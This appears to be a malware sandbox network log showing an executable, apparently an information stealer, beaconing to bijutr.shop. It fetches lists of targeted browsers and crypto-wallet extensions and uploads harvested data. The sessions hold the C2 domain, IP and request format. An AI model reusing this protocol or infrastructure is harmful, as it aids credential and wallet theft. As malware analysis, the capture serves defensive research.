2024-12-27 07:20:00 UTC	12298	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6b 30 34 61 65 6c 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @k04ael</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:02 UTC	231	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:05 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----16FKXLF3EKF37YUAS0RI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:05 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 36 46 4b 58 4c 46 33 45 4b 46 33 37 59 55 41 53 30 52 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 33 37 32 36 39 35 31 32 31 36 32 32 33 35 37 33 34 35 32 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 31 36 46 4b 58 4c 46 33 45 4b 46 33 37 59 55 41 53 30 52 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 31 36 46 4b 58 4c 46 33 45 4b 46 33 37 59 55 41 53 30 52 49 2d 2d 0d Data Ascii: ------16FKXLF3EKF37YUAS0RIContent-Disposition: form-data; name="hwid"B837269512162235734526-a33c7340-61ca------16FKXLF3EKF37YUAS0RIContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------16FKXLF3EKF37YUAS0RI--
2024-12-27 07:20:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:05 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|46251d9d233fc6c64d1de23e5ea2dd5a\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49712	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:07 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----7Q9HDT2D26FU379ZC2NY User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:07 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 51 39 48 44 54 32 44 32 36 46 55 33 37 39 5a 43 32 4e 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 37 51 39 48 44 54 32 44 32 36 46 55 33 37 39 5a 43 32 4e 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 37 51 39 48 44 54 32 44 32 36 46 55 33 37 39 5a 43 32 4e 59 0d 0a 43 6f 6e 74 Data Ascii: ------7Q9HDT2D26FU379ZC2NYContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------7Q9HDT2D26FU379ZC2NYContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------7Q9HDT2D26FU379ZC2NYCont
2024-12-27 07:20:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:08 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49714	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:09 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----TRQ9ZCBA1N7QQQI5XT0H User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:09 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 54 52 51 39 5a 43 42 41 31 4e 37 51 51 51 49 35 58 54 30 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 54 52 51 39 5a 43 42 41 31 4e 37 51 51 51 49 35 58 54 30 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 54 52 51 39 5a 43 42 41 31 4e 37 51 51 51 49 35 58 54 30 48 0d 0a 43 6f 6e 74 Data Ascii: ------TRQ9ZCBA1N7QQQI5XT0HContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------TRQ9ZCBA1N7QQQI5XT0HContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------TRQ9ZCBA1N7QQQI5XT0HCont
2024-12-27 07:20:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:10 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49716	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:12 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----9ZCBASRIWTRIMY5PHVAI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:12 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 5a 43 42 41 53 52 49 57 54 52 49 4d 59 35 50 48 56 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 39 5a 43 42 41 53 52 49 57 54 52 49 4d 59 35 50 48 56 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 39 5a 43 42 41 53 52 49 57 54 52 49 4d 59 35 50 48 56 41 49 0d 0a 43 6f 6e 74 Data Ascii: ------9ZCBASRIWTRIMY5PHVAIContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------9ZCBASRIWTRIMY5PHVAIContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------9ZCBASRIWTRIMY5PHVAICont
2024-12-27 07:20:13 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:13 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49718	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:14 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----MYUKNY5XBIE37Q9R1VSR User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 5253 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:14 UTC	5253	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 59 55 4b 4e 59 35 58 42 49 45 33 37 51 39 52 31 56 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4d 59 55 4b 4e 59 35 58 42 49 45 33 37 51 39 52 31 56 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 4d 59 55 4b 4e 59 35 58 42 49 45 33 37 51 39 52 31 56 53 52 0d 0a 43 6f 6e 74 Data Ascii: ------MYUKNY5XBIE37Q9R1VSRContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------MYUKNY5XBIE37Q9R1VSRContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------MYUKNY5XBIE37Q9R1VSRCont
2024-12-27 07:20:15 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:15 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:15 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----QIWT0R9H4EUAAIWBA16F User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:15 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 49 57 54 30 52 39 48 34 45 55 41 41 49 57 42 41 31 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 51 49 57 54 30 52 39 48 34 45 55 41 41 49 57 42 41 31 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 51 49 57 54 30 52 39 48 34 45 55 41 41 49 57 42 41 31 36 46 0d 0a 43 6f 6e 74 Data Ascii: ------QIWT0R9H4EUAAIWBA16FContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------QIWT0R9H4EUAAIWBA16FContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------QIWT0R9H4EUAAIWBA16FCont
2024-12-27 07:20:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:16 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49731	172.217.21.36	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:19 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-27 07:20:20 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:20:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-fwE2H-FPuGOC51kijJQR2w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-27 07:20:20 UTC	124	IN	Data Raw: 37 36 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 71 75 69 64 20 67 61 6d 65 73 22 2c 22 6d 6f 75 6e 74 20 77 61 73 68 69 6e 67 74 6f 6e 20 61 76 61 6c 61 6e 63 68 65 20 63 65 6e 74 65 72 22 2c 22 63 6f 6c 6c 65 67 65 20 66 6f 6f 74 62 61 6c 6c 20 70 6c 61 79 6f 66 66 20 62 72 61 63 6b 65 74 73 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 6e 6f 72 74 68 65 Data Ascii: 765)]}'["",["squid games","mount washington avalanche center","college football playoff brackets","aurora borealis northe
2024-12-27 07:20:20 UTC	1390	IN	Data Raw: 72 6e 20 6c 69 67 68 74 73 20 66 6f 72 65 63 61 73 74 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 67 69 6e 67 65 72 62 72 65 61 64 20 67 61 6c 61 22 2c 22 77 65 73 74 65 72 6e 20 77 79 6f 6d 69 6e 67 20 73 6e 6f 77 20 61 64 76 69 73 6f 72 79 22 2c 22 68 65 72 74 7a 20 74 65 73 6c 61 20 72 65 6e 74 61 6c 22 2c 22 6e 6f 73 66 65 72 61 74 75 20 32 30 32 34 20 76 61 6d 70 69 72 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 Data Ascii: rn lights forecast","monopoly go gingerbread gala","western wyoming snow advisory","hertz tesla rental","nosferatu 2024 vampire"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vh
2024-12-27 07:20:20 UTC	386	IN	Data Raw: 5a 61 61 53 39 73 64 45 6c 54 55 32 4a 4e 4d 58 64 44 56 47 63 7a 52 6c 46 52 53 33 52 72 61 46 5a 52 51 6d 45 30 56 7a 4a 4c 57 57 4d 77 63 45 46 76 52 45 39 6d 62 47 70 72 64 57 5a 56 4e 6b 35 77 61 56 4a 77 52 79 39 44 54 30 39 46 64 44 46 75 59 32 4e 32 55 30 35 54 52 6c 70 55 65 55 52 56 65 55 70 6b 53 57 6c 49 5a 58 63 30 51 55 63 31 55 44 42 34 55 48 70 76 5a 6c 42 77 4e 6c 6c 68 62 57 56 76 61 30 56 6a 59 55 6c 76 57 58 52 6a 4e 33 52 68 4c 30 46 44 4e 56 42 5a 5a 47 4a 5a 52 6c 70 36 4e 48 4e 73 65 53 74 71 5a 56 67 77 55 46 46 6e 63 30 4e 58 55 48 4a 6b 64 48 49 76 64 30 4d 34 53 54 46 57 62 57 78 55 55 6e 56 74 59 56 5a 61 51 7a 56 71 53 6b 67 35 65 47 68 4a 4d 6d 38 30 61 69 39 72 64 43 74 4a 4b 7a 63 35 5a 57 31 49 56 54 42 47 65 6d 73 32 5a Data Ascii: ZaaS9sdElTU2JNMXdDVGczRlFRS3RraFZRQmE0VzJLWWMwcEFvRE9mbGprdWZVNk5waVJwRy9DT09FdDFuY2N2U05TRlpUeURVeUpkSWlIZXc0QUc1UDB4UHpvZlBwNllhbWVva0VjYUlvWXRjN3RhL0FDNVBZZGJZRlp6NHNseStqZVgwUFFnc0NXUHJkdHIvd0M4STFWbWxUUnVtYVZaQzVqSkg5eGhJMm80ai9rdCtJKzc5ZW1IVTBGems2Z
2024-12-27 07:20:20 UTC	89	IN	Data Raw: 35 33 0d 0a 52 61 55 6e 5a 36 64 47 68 74 65 57 35 33 61 6c 42 49 52 33 42 78 53 48 51 78 4d 6a 52 5a 5a 47 4e 73 55 32 70 75 59 31 52 55 57 6d 45 33 4e 56 56 6c 55 44 64 71 59 6b 68 72 54 32 46 57 55 53 73 34 56 6b 70 42 55 44 56 7a 57 48 6c 6c 52 6e 5a 53 64 0d 0a Data Ascii: 53RaUnZ6dGhteW53alBIR3BxSHQxMjRZZGNsU2puY1RUWmE3NVVlUDdqYkhrT2FWUSs4VkpBUDVzWHllRnZSd
2024-12-27 07:20:20 UTC	1390	IN	Data Raw: 31 31 32 66 0d 0a 31 70 4b 57 6e 4a 78 64 54 56 51 59 6b 52 59 52 45 56 44 63 44 4e 7a 54 57 4e 55 4e 33 6f 33 57 44 6c 7a 5a 58 6f 72 57 54 6c 6a 55 7a 6c 34 64 6c 56 68 52 56 68 61 61 53 74 74 56 56 56 36 63 57 74 72 52 33 42 33 64 54 42 72 56 6a 6c 4d 5a 6b 78 32 4d 6a 55 30 53 79 74 71 57 6d 4a 73 4f 45 52 54 63 45 68 46 61 31 5a 79 62 48 6c 43 65 44 56 6e 4f 44 63 30 61 45 39 6f 63 44 5a 76 63 32 68 44 64 6d 4a 61 4e 32 5a 76 55 6e 70 48 51 54 4a 6c 57 6a 6c 53 56 44 46 4d 56 55 30 30 61 46 4a 6e 61 6b 64 77 4d 58 6b 72 63 54 64 68 55 30 56 56 52 44 4e 71 5a 6a 46 31 64 31 68 6d 63 47 64 73 55 54 4a 4f 61 55 56 73 61 57 64 78 63 6d 46 4b 65 45 46 49 61 58 56 7a 62 33 4e 34 63 56 4a 6b 57 57 30 34 5a 79 74 5a 61 56 4e 50 54 46 68 30 63 32 52 4a 54 7a Data Ascii: 